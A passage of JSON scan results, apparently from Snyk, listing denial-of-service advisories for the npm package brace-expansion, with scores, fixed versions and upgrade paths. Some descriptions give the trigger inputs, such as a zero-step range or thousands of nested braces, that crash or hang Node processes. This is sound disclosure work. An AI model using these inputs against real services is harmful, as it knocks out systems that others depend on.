"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
